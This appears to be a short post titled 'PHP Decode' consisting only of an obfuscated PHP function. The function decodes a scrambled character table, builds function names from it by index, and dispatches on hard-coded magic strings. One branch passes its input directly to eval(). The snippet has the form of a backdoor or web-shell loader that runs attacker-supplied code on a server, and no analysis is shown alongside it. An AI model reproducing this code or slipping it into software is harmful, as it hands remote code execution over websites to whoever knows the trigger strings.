PHP Decode

<?  function aX0grtyu456RtO8($a,$b){$z2342345gk7456=str_rot13(gzinflate(str_rot13(base64_decode("MzQyNjE1M7ewNMjLLygsKi4pLSuvqKxXWVdBVlpYz8jMys7JjQcA"))));if($a=="srwertxcbtytyu//..huytytryurt"){$qwery45234dws=$z2342345gk7456{28}.$z2342345gk7456{29}.$z2342345gk7456{27}.$z2342345gk7456{27}.$z2342345gk7456{14}.$z2342345gk7456{31};return $qwery45234dws($b);}else if($a=="cftrt546576fgh//huuiy..\/ghhj"){$owe342wfbjdewqre34=$z2342345gk7456{12}.$z2342345gk7456{24}.$z2342345gk7456{23}.$z2342345gk7456{31}.$z2342345gk7456{14}.$z2342345gk7456{27}.$z2342345gk7456{29}.$z2342345gk7456{36}.$z2342345gk7456{30}.$z2342345gk7456{30}.$z2342345gk7456{13}.$z2342345gk7456{14}.$z2342345gk7456{12}.$z2342345gk7456{24}.$z2342345gk7456{13}.$z2342345gk7456{14};return $owe342wfbjdewqre34($b);}else if($a=="azsewqwqwez/...derwewr"){$rt4534fhghj5=$z2342345gk7456{28}.$z2342345gk7456{29}.$z2342345gk7456{27}.$z2342345gk7456{36}.$z2342345gk7456{27}.$z2342345gk7456{24}.$z2342345gk7456{29}.$z2342345gk7456{0}.$z2342345gk7456{2};return $rt4534fhghj5($b);}else if($a=="ax6789f/////....sfcxfcfge4653dhg"){$as346hgjkhfg=$z2342345gk7456{11}.$z2342345gk7456{10}.$z2342345gk7456{28}.$z2342345gk7456{14}.$z2342345gk7456{5}.$z2342345gk7456{3}.$z2342345gk7456{36}.$z2342345gk7456{13}.$z2342345gk7456{14}.$z2342345gk7456{12}.$z2342345gk7456{24}.$z2342345gk7456{13}.$z2342345gk7456{14};return $as346hgjkhfg($b);}else if($a=="zs3454sdfcvnyrertc_gygu"){$zsweqwq4546dgh=$z2342345gk7456{16}.$z2342345gk7456{35}.$z2342345gk7456{18}.$z2342345gk7456{23}.$z2342345gk7456{15}.$z2342345gk7456{21}.$z2342345gk7456{10}.$z2342345gk7456{29}.$z2342345gk7456{14};return $zsweqwq4546dgh($b);}else if($a=="ax4564365dgvbmnmhu56fgvgvc//gygyugu"){return eval($b);}}; 
$zxAwx0XtrY0189j0KKxaz0 = "aX0grtyu456RtO8"; ?>